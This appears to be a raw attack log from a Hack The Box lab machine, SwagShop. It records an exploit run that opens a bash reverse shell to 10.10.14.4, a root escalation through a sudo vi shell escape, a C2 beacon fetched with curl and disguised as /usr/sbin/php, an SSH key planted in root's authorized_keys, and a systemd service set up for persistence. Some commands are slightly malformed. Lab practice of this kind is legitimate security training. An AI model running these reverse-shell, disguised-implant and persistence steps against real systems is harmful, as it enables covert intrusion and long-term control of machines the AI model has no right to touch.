master
1### setup
2
3sudo apt install -y \
4 nmap curl python3-venv make zip unzip \
5 mtr
6
7sudo openvpn --config htb.ovpn
82025-04-05T08:04:58-04:00
9
10### T1 10.129.232.93
11
12ping -c 1 10.129.232.93
13
14python3 -m venv venv
15source venv/bin/activate
16python3 -m pip install mechanize
17python3 exp.py http://swagshop.htb/index.php/admin "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'"
182025-04-05T08:05:44-04:00
19
20
21which curl
22/usr/bin/curl
23
24uname -a
25Linux swagshop 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
26
27cat /etc/os-release
28NAME="Ubuntu"
29VERSION="18.04.6 LTS (Bionic Beaver)"
30ID=ubuntu
31ID_LIKE=debian
32PRETTY_NAME="Ubuntu 18.04.6 LTS"
33VERSION_ID="18.04"
34HOME_URL="https://www.ubuntu.com/"
35SUPPORT_URL="https://help.ubuntu.com/"
36BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
37PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
38VERSION_CODENAME=bionic
39UBUNTU_CODENAME=bionic
40
41sudo -l
42sudo -l
43Matching Defaults entries for www-data on swagshop:
44 env_reset, mail_badpass,
45 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
46
47User www-data may run the following commands on swagshop:
48 (root) NOPASSWD: /usr/bin/vi /var/www/html/*
49
50sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!/bin/bash'
51uid=0(root) gid=0(root) groups=0(root)
52
53mkdir -f /tmp/.X1-lock/
54curl -L -O g
55
56 10.10.14.4
57
58generate beacon --http http://10.10.14.4:4444 --seconds 20 --os linux
59http --lport 4444
60
61curl -s -L http://10.10.14.4:8080/php -o /usr/sbin/php
62chmod +x /tmp/.php
63/tmp/.php
642025-04-05T08:25:45-04:00
65
66root_rsa.pub
67ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDs7DvQgMbj9jJ7hsotTmY6yE8JEg4ky/vOqcKEG3HMCb019D8hE/xMgsIsne5tXK4PRu7P41M4Vgkl+CKqKU61bAimLo9FvG7Q6RTx0A1WpzejCr7MDna7h2UiahiNFU2cbVEiJxmdh1xTNB0WmZUeIJ8K9mFt0YACYK9ze382EUzH1rLJDxoDS9ahBThcHjK3aGcduHmQ+PQwa4rBzyt5FBArHT14BlZ8hwAw1X8VlY7+pDW+CzC1z6tJ81iXqKHE8r31WIeiIOAMZhKeSPBv/18bxi9bdVTk6MJ3HE6P9eiMYSP45maSJxdaQdx5kyCQSsCMzArUIyNSXnxK1sEGAtuPXwNCfp6M8BspHSPtVl0L83dQrvnd2ZyamBYK6skRNuU27nxmq5BVFa2Og0hmujvYnFniFCfCPjRAGl628Y/6nYs87xO0IrnM8WIUsGK0y+QESSr1sQN0SV2ETTHkSg49Omn5mV9bT9l5xEgM6xyVFyWrV/0dld+rUc24+As=
68
69
70mkdir /root/.ssh/
71upload /home/user/swag/2025-04-05/root_rsa.pub /root/.ssh/authorized_keys
72chmod /root/.ssh/authorized_keys 0400
73
74cat /etc/ssh/sshd_config
75#PermitRootLogin prohibit-password
76
77ssh -vvv root@10.129.232.93 -T /bin/bash
782025-04-05T08:44:17-04:00
79
80mv /tmp/.php /usr/sbin/php
81
82php service
83
84[Unit]
85Description=php service
86After=network.target
87Type=simple
88Restart=always
89RestartSec=1
90ExecStart=/usr/sbin/php
91
92[Install]
93WantedBy=multi-user.target
94
95upload -o /home/user/swag/2025-04-05/out/php.service /lib/systemd/system/php.service
96execute systemctl daemon-reload
97execute systemctl enable php.service
98execute systemctl start php.service
99
100good service
101